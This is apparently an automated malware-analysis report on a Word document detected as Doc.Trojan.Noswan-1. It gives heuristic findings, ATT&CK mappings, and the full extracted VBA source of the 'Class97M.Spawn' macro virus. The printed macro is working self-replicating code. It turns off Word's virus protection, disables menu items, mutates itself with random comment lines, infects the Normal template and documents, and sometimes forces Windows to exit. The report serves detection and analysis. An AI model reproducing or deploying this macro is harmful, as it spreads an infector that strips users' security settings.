MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable security features and obfuscate its code, indicating an intent to evade detection and potentially download further malicious content. The presence of a legacy WordBasic AutoOpen marker also suggests older malicious techniques are in use.
Heuristics 4
-
ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Noswan-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2219 bytes |
SHA-256: c6d0abcfa6dd6e85b708e9030c55d6afd39698d3aae7ec4c13b127f42999c67a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' =================================================
' LineZerØ Vx Team & Jack Twoflower präsentieren:
'
' Class97M.Spawn
' =================================================
Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wdCancelDisabled
CommandBars("View").Controls("Symbolleisten").Enabled = False
CommandBars("Format").Controls("Formatvorlage...").Enabled = False
CommandBars("Tools").Controls("Makro").Enabled = False
CommandBars("Tools").Controls("Vorlagen und Add-Ins...").Enabled = False
CommandBars("Tools").Controls("Anpassen...").Enabled = False
Set Normal_ = NormalTemplate.VBProject.VBComponents.Item(1)
Set Active_ = ActiveDocument.VBProject.VBComponents.Item(1)
ActiveLines = Active_.CodeModule.CountOfLines
NormalLines = Normal_.CodeModule.CountOfLines
PolySize = Int(Rnd * 5)
For PolyMorphic = 1 To PolySize
PolyString = ""
PolyLines = Application.VBE.ActiveVBProject.VBComponents.Item(1).CodeModule.CountOfLines
RndLine = Int(Rnd * PolyLines)
StringSize = Int(Rnd * 39) + 1
For SomeString = 1 To StringSize
PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22))
Next SomeString
Application.VBE.ActiveVBProject.VBComponents.Item(1).CodeModule.InsertLines RndLine, "Rem " & PolyString
Next PolyMorphic
If NormalLines <> 0 Then NormalIns = True
If ActiveLines <> 0 Then ActiveIns = True
If NormalIns <> True Then
Normal_.CodeModule.AddFromString _
("Sub Document_Close()" & vbCr & Active_.CodeModule.Lines(2, ActiveLines))
End If
If ActiveIns <> True Then
Active_.CodeModule.AddFromString _
("Sub Document_Open()" & vbCr & Normal_.CodeModule.Lines(2, NormalLines))
ActiveDocument.SaveAs ActiveDocument.FullName
End If
If Day(Now()) = Int(Rnd * 31) + 1 Then Tasks.ExitWindows
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.